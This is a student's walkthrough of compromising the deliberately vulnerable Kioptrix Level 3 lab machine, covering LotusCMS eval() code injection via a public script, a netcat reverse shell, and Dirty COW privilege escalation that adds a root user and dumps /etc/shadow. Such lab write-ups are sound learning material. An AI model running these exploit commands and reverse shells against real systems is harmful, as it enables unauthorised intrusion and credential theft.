🛡️ Kioptrix Level 3 — Full Walkthrough
Kioptrix Level 3 is the third machine in the Kioptrix series, and it's the first one where the fastest path in isn't a network service — it's the web application itself. This one also taught me a lesson that doesn't show up in most walkthroughs: what to do when the "excellent"-rated Metasploit module for a confirmed vulnerability just... doesn't work.
⚠️ Disclaimer: This walkthrough was completed against an intentionally vulnerable virtual machine in an isolated lab environment, for educational purposes only.
🖥️ Lab Setup
Component Description
Attacker Kali Linux (172.20.8.57)
Target Kioptrix Level 3 (172.20.13.53)
Virtualization VMware Workstation
🔍 Recon
Standard start — Nmap against the target:
text
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Only two services this time. The HTTP title — "Ligoat Security - Got Goat? Security ..." — made it obvious there was a real application behind port 80, not a default page.
🧩 Finding the Real Target: LotusCMS
Checking Searchsploit against the raw service versions (OpenSSH 4.7, Apache 2.2.8) didn't turn up anything directly usable. That's a dead end worth recognizing quickly — server banners aren't always the actual attack surface.
Viewing the page source instead told the real story:
html
The site was running LotusCMS 3.0 — a much more specific and researchable target than a generic Apache version number.
🛠️ The Metasploit Dead End
LotusCMS 3.0 has a well-known eval()-based remote code execution vulnerability, and Metasploit has a module for it:
text
exploit/multi/http/lcms_php_exec 2011-03-03 excellent LotusCMS 3.0 eval() Remote Command Execution
"Excellent" rank, exact version match, options configured correctly. I ran it:
text
msf exploit(multi/http/lcms_php_exec) > run
[] Started reverse TCP handler on 172.20.8.57:5555
[] Using found page param: /index.php?page=index
[] Sending exploit ...
[] Exploit completed, but no session was created.
Ran it again. Same result.
This is the part most walkthroughs skip past — but it's the actually useful lesson. A module rated "excellent," targeting the exact confirmed CMS version, still didn't create a session. That doesn't mean the vulnerability isn't real. It means the module isn't handling something about this specific target correctly (payload staging, PHP version quirks, whatever it may be), and it was time to stop retrying and start understanding.
🚪 Going Manual
The underlying flaw is straightforward once you look at it: LotusCMS's router() function passes a page request parameter into eval() without sanitization. A public proof-of-concept script (lotusRCE.sh by Hood3dRob1n) automates confirming and exploiting exactly that.
text
$ ./lotusRCE.sh 172.20.13.53 /
Path found, now to check for vuln....
Regex found, site is vulnerable to PHP Code Injection!
About to try and inject reverse shell....
what IP to use? 172.20.8.57
What PORT? 4444
OK, open your local listener and choose the method for back connect:
1) NetCat -e
2) NetCat /dev/tcp
3) NetCat Backpipe
4) NetCat FIFO
5) Exit
? 2
With a listener running:
text
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.8.57] from (UNKNOWN) [172.20.13.53] 51895
$ whoami
www-data
Same vulnerability, same target, manual exploitation — and it worked immediately.
⚠️ Stabilizing the Shell
A raw netcat reverse shell is awkward to work with, so the first move after landing was upgrading it to a real TTY:
bash
python -c 'import pty; pty.spawn("/bin/sh")'
Then basic enumeration:
text
www-data@Kioptrix3:~$ uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
www-data@Kioptrix3:~$ cat /etc/*release
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
A 2009 kernel is old enough to be interesting for privilege escalation — and it turned out to be vulnerable to one of the most famous Linux kernel bugs ever disclosed.
🔑 Root via Dirty COW
CVE-2016-5195, "Dirty COW," is a race condition in how the kernel handles copy-on-write memory. It lets a local user write to memory mappings that should be read-only — including files like /etc/passwd.
The /etc/passwd-method exploit compiles cleanly on-target:
bash
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
text
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
It patches /etc/passwd in place, adding a new UID-0 user with a password you set — after backing up the original so it can be restored.
text
$ su firefart
Password: 1234
firefart@Kioptrix3:/tmp# whoami
firefart
firefart@Kioptrix3:/tmp# cat /etc/shadow
root:$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1:15082:0:99999:7:::
...
Reading /etc/shadow — root-only — confirmed full compromise.
🧠 What This One Actually Taught Me
Fingerprint the application, not just the server. The Apache/PHP version numbers were a dead end. The CMS name buried in the page footer was the real lead.
A failed exploit module isn't proof of anything. If a high-confidence, version-matched module doesn't create a session, that's a prompt to understand the vulnerability well enough to reproduce it manually — not a signal to move on.
Shell stabilization matters. pty.spawn turned a fragile raw shell into something I could actually work in.
Old kernels don't expire. Dirty COW was disclosed in 2016. It still worked flawlessly against a kernel from 2009, running on a lab machine years later. Patch lag is the whole story here.
🔗 References
LotusCMS RCE script: https://github.com/Hood3dRob1n/LotusCMS-Exploit
Dirty COW (CVE-2016-5195): https://nvd.nist.gov/vuln/detail/CVE-2016-5195
Full writeup + report + findings: github.com/zainsial866
Zain Sial Cybersecurity Student 🔗 GitHub: github.com/zainsial866
Top comments (0)